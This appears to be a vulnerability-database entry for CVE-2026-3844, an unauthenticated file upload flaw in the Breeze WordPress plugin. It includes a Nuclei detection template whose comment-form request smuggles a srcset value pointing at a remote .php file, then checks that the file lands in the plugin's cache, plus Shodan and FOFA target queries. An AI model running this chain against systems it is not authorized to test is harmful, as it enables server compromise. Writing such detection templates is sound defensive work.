Breeze <= 2.4.4 - Arbitrary File Upload

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType

Unauthenticated users can upload arbitrary files in Breeze plugin up to 2.4.4 due to missing file type validation.

Reporter	Title	Published	Views	Family All 22
GithubExploit	Exploit for CVE-2026-3844	30 Apr 202611:04	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	6 Jun 202608:37	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	10 May 202622:55	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	24 Apr 202602:52	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	24 Apr 202610:15	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	25 Apr 202617:35	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	24 Apr 202610:26	–	githubexploit
GithubExploit	Exploit for CVE-2026-3844	8 May 202613:07	–	githubexploit
ATTACKERKB	CVE-2026-3844	23 Apr 202602:25	–	attackerkb
Circl	CVE-2026-3844	23 Apr 202603:00	–	circl

Source	Link
patchstack	www.patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
nvd	www.nvd.nist.gov/vuln/detail/CVE-2026-3844

id: CVE-2026-3844

info:
  name: Breeze <= 2.4.4 - Arbitrary File Upload
  author: theamanrawat,ritikchaddha
  severity: critical
  description: |
    Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version where this vulnerability is fixed.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3844
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3844
    epss-score: 0.36512
    epss-percentile: 0.98301
    cwe-id: CWE-434
  metadata:
    max-request: 4
    verified: true
    shodan-query: http.html:"/wp-content/plugins/breeze/"
    fofa-query: body="/wp-content/plugins/breeze/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,breeze,file-upload,rce,vkev

variables:
  marker: "{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-comments-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        comment_post_ID=1&author=x+srcset%3Dhttp%3A%2F%2Foast.me%2F{{marker}}.php&email=breeze{{marker}}%40test.com&comment=breeze+vuln+test+{{marker}}&submit=Post+Comment

    extractors:
      - type: regex
        name: redirect_path
        part: header_1
        group: 1
        regex:
          - 'Location: https?://[^/]+(/.+)'
        internal: true

  - raw:
      - |
        GET {{redirect_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "srcset=https://oast.me")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/cache/breeze-extra/gravatars/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<html><head></head><body></body></html>")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100c81be40f778092d6f31ce2dab51428e6c0b5f3b3cb33a2be97f1acd7626e404102210090a3d23496498ee6a6675e552e651aeac19253016909b9558e711d40a1aa0e2f:922c64590222798bb761d5b6d8e72950

23 Apr 2026 11:10Current

6.2Medium risk

Vulners AI Score6.2

CVSS 3.19.8

EPSS0.36512

SSVC